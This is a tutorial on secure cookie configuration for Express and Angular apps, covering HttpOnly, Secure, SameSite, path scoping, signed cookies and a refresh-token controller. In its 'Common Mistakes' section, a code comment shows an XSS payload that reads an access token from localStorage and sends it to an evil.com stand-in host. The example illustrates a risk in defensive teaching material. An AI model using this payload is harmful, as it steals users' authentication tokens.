Cookie Handling — HttpOnly, SameSite, Secure, and Signed Cookies

Cookies are one of the two primary mechanisms for maintaining authentication state in web applications — the other being tokens in HTTP headers (like JWTs in the Authorization header). Cookies have significant security implications: if a cookie is accessible to JavaScript or transmitted over HTTP, it can be stolen. The HttpOnly, Secure, and SameSite attributes are the three security flags that protect cookies from theft, interception, and CSRF attacks. Understanding how to configure cookies correctly — and when to choose cookies over Authorization headers for auth tokens — is a fundamental backend security skill.

Attribute Values Effect Protects Against
HttpOnly Flag (no value) Cookie not accessible via JavaScript (document.cookie) XSS cookie theft
Secure Flag (no value) Cookie only sent over HTTPS Network eavesdropping (man-in-the-middle)
SameSite Strict / Lax / None Controls when cookie is sent on cross-site requests CSRF attacks
Domain Domain string Which domains receive the cookie Scope control
Path Path string Cookie sent only to matching paths Scope limitation
Max-Age Seconds Expiry duration from now Persistent cookies
Expires Date string Absolute expiry date/time Persistent cookies

SameSite Values Explained

Value When Cookie Is Sent Best For
Strict Only same-site requests — never on cross-site navigation or requests Session cookies — maximum CSRF protection
Lax Same-site requests + top-level cross-site navigation (clicking links) Default in modern browsers — good balance
None All requests including cross-site (requires Secure flag) Third-party auth, embedded widgets, OAuth flows
Feature HttpOnly Cookie Authorization Header (localStorage)
XSS vulnerability Protected — JS cannot read HttpOnly cookies Vulnerable — localStorage accessible to JS
CSRF vulnerability Must set SameSite=Strict or use CSRF token Not vulnerable — JS must explicitly add header
Angular integration Browser sends automatically — no code needed Must add to every request via interceptor
Refresh token storage Ideal — secure, automatic, JS-inaccessible Risky — vulnerable to XSS if in localStorage
Mobile apps / API clients Harder — cookies require explicit handling Easy — just set the header
Note: In MEAN Stack applications, the most common auth pattern is JWT in the Authorization header (not cookies) for the access token, and HttpOnly cookie for the refresh token. The short-lived access token (15 min) is stored in Angular’s memory (a service property), where XSS can only steal it for 15 minutes. The long-lived refresh token (7 days) is stored in an HttpOnly cookie, completely inaccessible to JavaScript. This combines the convenience of JWTs with the security of HttpOnly cookies.
Tip: Always set both HttpOnly and Secure in production. HttpOnly prevents JavaScript from reading the cookie. Secure ensures it is only sent over HTTPS. Together they make the cookie invisible to XSS attacks and unreadable on unencrypted connections. During local development (HTTP), omit Secure so cookies work on http://localhost — but enable it in staging and production via an environment variable.
Warning: SameSite: 'Strict' can cause usability problems for single sign-on (SSO) flows, OAuth redirects, and any scenario where a user navigates to your app from another domain while expecting to be logged in. In those cases, SameSite: 'Lax' is the right default — it prevents CSRF while allowing normal navigational links. Only use SameSite: 'None' (with Secure) when your app is explicitly embedded in a third-party context.
// npm install cookie-parser
const cookieParser = require('cookie-parser');

// ── Register cookie-parser middleware ─────────────────────────────────────
app.use(cookieParser(process.env.COOKIE_SECRET));  // secret for signed cookies

// ── Setting cookies in controllers ───────────────────────────────────────
const isProd = process.env.NODE_ENV === 'production';

// Refresh token — stored in secure HttpOnly cookie
function setRefreshTokenCookie(res, refreshToken) {
    res.cookie('refreshToken', refreshToken, {
        httpOnly:  true,              // no JS access
        secure:    isProd,            // HTTPS only in production
        sameSite:  'strict',          // prevent CSRF
        maxAge:    7 * 24 * 60 * 60 * 1000,  // 7 days in ms
        path:      '/api/v1/auth',    // only sent to /api/v1/auth/* routes
    });
}

// Clear the refresh token on logout
function clearRefreshTokenCookie(res) {
    res.cookie('refreshToken', '', {
        httpOnly: true,
        secure:   isProd,
        sameSite: 'strict',
        maxAge:   0,        // expires immediately
        path:     '/api/v1/auth',
    });
}

// ── Auth controller ───────────────────────────────────────────────────────
exports.login = asyncHandler(async (req, res) => {
    const { email, password } = req.body;
    const user                = await AuthService.validateCredentials(email, password);

    const accessToken  = jwt.sign({ id: user._id, role: user.role }, process.env.JWT_SECRET,  { expiresIn: '15m' });
    const refreshToken = jwt.sign({ id: user._id },                  process.env.REFRESH_SECRET, { expiresIn: '7d' });

    // Save refresh token hash in DB
    await User.findByIdAndUpdate(user._id, {
        $push: { refreshTokens: { token: hashToken(refreshToken), expiresAt: addDays(7) } }
    });

    // Set refresh token as HttpOnly cookie
    setRefreshTokenCookie(res, refreshToken);

    // Return access token in JSON body (stored in Angular memory)
    res.json({
        success: true,
        data: {
            accessToken,
            user: { id: user._id, name: user.name, email: user.email, role: user.role },
        }
    });
});

exports.logout = asyncHandler(async (req, res) => {
    const token = req.cookies.refreshToken;

    if (token) {
        // Invalidate refresh token in DB
        await User.findByIdAndUpdate(req.user.id, {
            $pull: { refreshTokens: { token: hashToken(token) } }
        });
    }

    clearRefreshTokenCookie(res);
    res.status(204).end();
});

exports.refreshToken = asyncHandler(async (req, res) => {
    const token = req.cookies.refreshToken;
    if (!token) return res.status(401).json({ success: false, message: 'No refresh token' });

    const decoded = jwt.verify(token, process.env.REFRESH_SECRET);
    const user    = await User.findById(decoded.id);

    if (!user) return res.status(401).json({ success: false, message: 'User not found' });

    const newAccessToken = jwt.sign({ id: user._id, role: user.role }, process.env.JWT_SECRET, { expiresIn: '15m' });

    res.json({ success: true, data: { accessToken: newAccessToken } });
});

// ── Signed cookies — tamper-proof ─────────────────────────────────────────
// Signed cookies store an HMAC signature alongside the value
// If the client modifies the cookie value, the signature check fails

res.cookie('sessionData', JSON.stringify({ theme: 'dark', lang: 'en' }), {
    signed:   true,                  // requires cookieParser(secret)
    httpOnly: false,                 // accessible to JS — used for non-sensitive prefs
    maxAge:   30 * 24 * 60 * 60 * 1000,  // 30 days
});

// Reading signed cookies
const sessionData = req.signedCookies.sessionData;  // verified; null if tampered
const rawCookies  = req.cookies.unsignedCookie;      // all unsigned cookies

How It Works

When a response includes Set-Cookie: token=abc; HttpOnly, the browser stores the cookie but removes it from JavaScript’s view entirely. document.cookie does not include it. document.cookie = 'token=...' cannot overwrite it. XSS malware that reads document.cookie cannot extract the token. The cookie is only sent automatically with HTTP requests — visible to the server, invisible to JavaScript.

Step 2 — Secure Ensures Cookies Travel Only Over HTTPS

The browser will not include a Secure cookie in requests over HTTP. Even if the user’s browser has stored the cookie, any HTTP request to the same server omits it. This prevents a man-in-the-middle attacker who intercepts HTTP traffic from seeing authentication tokens. Combine Secure with HSTS to ensure the browser always uses HTTPS before the cookie is ever sent.

Step 3 — SameSite Prevents CSRF Without Tokens

A CSRF attack tricks the user’s browser into sending an authenticated request to your API from a malicious third-party website. The browser automatically includes cookies in same-origin requests — including ones initiated by malicious sites. SameSite: 'Strict' prevents this: cookies are only sent when the request originates from the same site. The malicious site’s request is sent without the cookie, and the server rejects it as unauthenticated.

Setting path: '/api/v1/auth' means the refresh token cookie is only included in requests to paths starting with /api/v1/auth. Requests to /api/v1/tasks do not include the refresh token cookie at all. This limits the exposure window — if a CSRF attack tricks the browser into making a task API call, the refresh token is not sent and cannot be abused. The refresh token is only ever sent to the specific endpoint that needs it.

Step 5 — Signed Cookies Provide Tamper Detection

Signed cookies store the value plus an HMAC (Hash-based Message Authentication Code) signature computed from the value and your secret. When the browser sends the cookie back, cookie-parser verifies the signature. If the user modifies the cookie’s value (to change a stored role from ‘user’ to ‘admin’, for example), the signature no longer matches and the cookie is treated as invalid. The value appears as null in req.signedCookies.

Common Mistakes

❌ Wrong — XSS can steal tokens from localStorage:

// Angular service — DO NOT do this for sensitive tokens
localStorage.setItem('accessToken', token);  // readable by any JS on the page
// XSS payload: fetch('https://evil.com/steal?t=' + localStorage.getItem('accessToken'))

✅ Correct — store access token in memory, refresh token in HttpOnly cookie:

// Angular AuthService
private accessToken = signal<string | null>(null);   // in-memory only
// Refresh token handled automatically by HttpOnly cookie — no Angular code needed

❌ Wrong — refresh token sent with every API request:

res.cookie('refreshToken', token, { httpOnly: true });
// Cookie sent to /api/tasks, /api/users, etc. — unnecessary exposure

✅ Correct — scope the cookie to the auth endpoint only:

res.cookie('refreshToken', token, { httpOnly: true, path: '/api/v1/auth' });
// Cookie ONLY sent to /api/v1/auth/* routes

Mistake 3 — Using secure: true in development over HTTP

❌ Wrong — cookie never sent because localhost uses HTTP:

res.cookie('token', value, { secure: true });  // in development over http://localhost
// Cookie is set in the browser but NEVER sent back — auth breaks silently

✅ Correct — conditionally set secure based on environment:

res.cookie('token', value, { secure: process.env.NODE_ENV === 'production' });

Quick Reference

Option Value When to Use
httpOnly true Always for auth tokens — prevents XSS theft
secure isProd Always in production; off in local dev (HTTP)
sameSite 'strict' Refresh tokens, session cookies
sameSite 'lax' Default — most cookies — allows top-nav links
sameSite 'none' Third-party embeds, OAuth (requires secure)
maxAge ms Persistent cookies; omit for session cookies
path '/api/v1/auth' Scope refresh token to auth endpoints only
signed true Non-sensitive data that must not be tampered

🧠 Test Yourself

Which cookie configuration provides the strongest protection against both XSS and CSRF attacks for an authentication refresh token?